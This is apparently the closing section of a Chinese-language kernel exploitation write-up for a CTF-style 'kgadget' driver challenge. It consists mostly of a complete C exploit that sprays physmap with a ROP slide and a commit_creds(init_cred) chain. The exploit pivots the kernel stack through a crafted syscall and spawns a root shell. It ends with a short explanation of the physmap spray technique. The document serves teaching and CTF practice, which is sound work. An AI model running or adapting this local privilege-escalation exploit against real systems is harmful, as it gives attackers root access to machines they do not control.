------------------------
add rsp, val ; ret
add rsp, val ; ret
add rsp, val ; ret
add rsp, val ; ret
...
add rsp, val ; ret # 该gadget必定会命中下一个区域中的一条ret,之后便能平缓地“滑”到常规的提权 rop 上
------------------------
ret
ret
...
ret
------------------------
common root ROP chain
------------------------
final exploit
最后的 exp 如下:
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
size_t prepare_kernel_cred = 0xffffffff810c9540;
size_t commit_creds = 0xffffffff810c92e0;
size_t init_cred = 0xffffffff82a6b700;
size_t pop_rdi_ret = 0xffffffff8108c6f0;
size_t pop_rax_ret = 0xffffffff810115d4;
size_t pop_rsp_ret = 0xffffffff811483d0;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;
size_t add_rsp_0xe8_pop_rbx_pop_rbp_ret = 0xffffffff812bd353;
size_t add_rsp_0xd8_pop_rbx_pop_rbp_ret = 0xffffffff810e7a54;
size_t add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;
size_t ret = 0xffffffff8108c6f1;
void (*kgadget_ptr)(void);
size_t *physmap_spray_arr[16000];
size_t page_size;
size_t try_hit;
int dev_fd;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error : \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}
void constructROPChain(size_t *rop)
{
int idx = 0;
// gadget to trigger pt_regs and for slide
for (; idx < (page_size / 8 - 0x30); idx++)
rop[idx] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;
// more normal slide code
for (; idx < (page_size / 8 - 0x10); idx++)
rop[idx] = ret;
// rop chain
rop[idx++] = pop_rdi_ret;
rop[idx++] = init_cred;
rop[idx++] = commit_creds;
rop[idx++] = swapgs_restore_regs_and_return_to_usermode;
rop[idx++] = *(size_t*) "arttnba3";
rop[idx++] = *(size_t*) "arttnba3";
rop[idx++] = (size_t) getRootShell;
rop[idx++] = user_cs;
rop[idx++] = user_rflags;
rop[idx++] = user_sp;
rop[idx++] = user_ss;
}
int main(int argc, char **argv, char **envp)
{
saveStatus();
dev_fd = open("/dev/kgadget", O_RDWR);
if (dev_fd < 0)
errExit("dev fd!");
page_size = sysconf(_SC_PAGESIZE);
// construct per-page rop chain
physmap_spray_arr[0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
constructROPChain(physmap_spray_arr[0]);
// spray physmap, so that we can easily hit one of them
puts("[*] Spraying physmap...");
for (int i = 1; i < 15000; i++)
{
physmap_spray_arr[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (!physmap_spray_arr[i])
errExit("oom for physmap spray!");
memcpy(physmap_spray_arr[i], physmap_spray_arr[0], page_size);
}
puts("[*] trigger physmap one_gadget...");
//sleep(5);
try_hit = 0xffff888000000000 + 0x7000000;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, pop_rsp_ret;" // stack migration again
"mov r8, try_hit;"
"mov rax, 0x10;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, try_hit;"
"mov rsi, 0x1bf52;"
"mov rdi, dev_fd;"
"syscall"
);
}
REFERENCE
答案是不需要搜索,这里我们使用中的一种名为 physmap spray 的攻击手法——使用 mmap 喷射大量的物理内存写入同样的 payload,之后再随机挑选一个相对靠近高地址的 direct mapping area 上的地址进行利用,这样我们就有很大的概率命中到我们布置的 payload 上。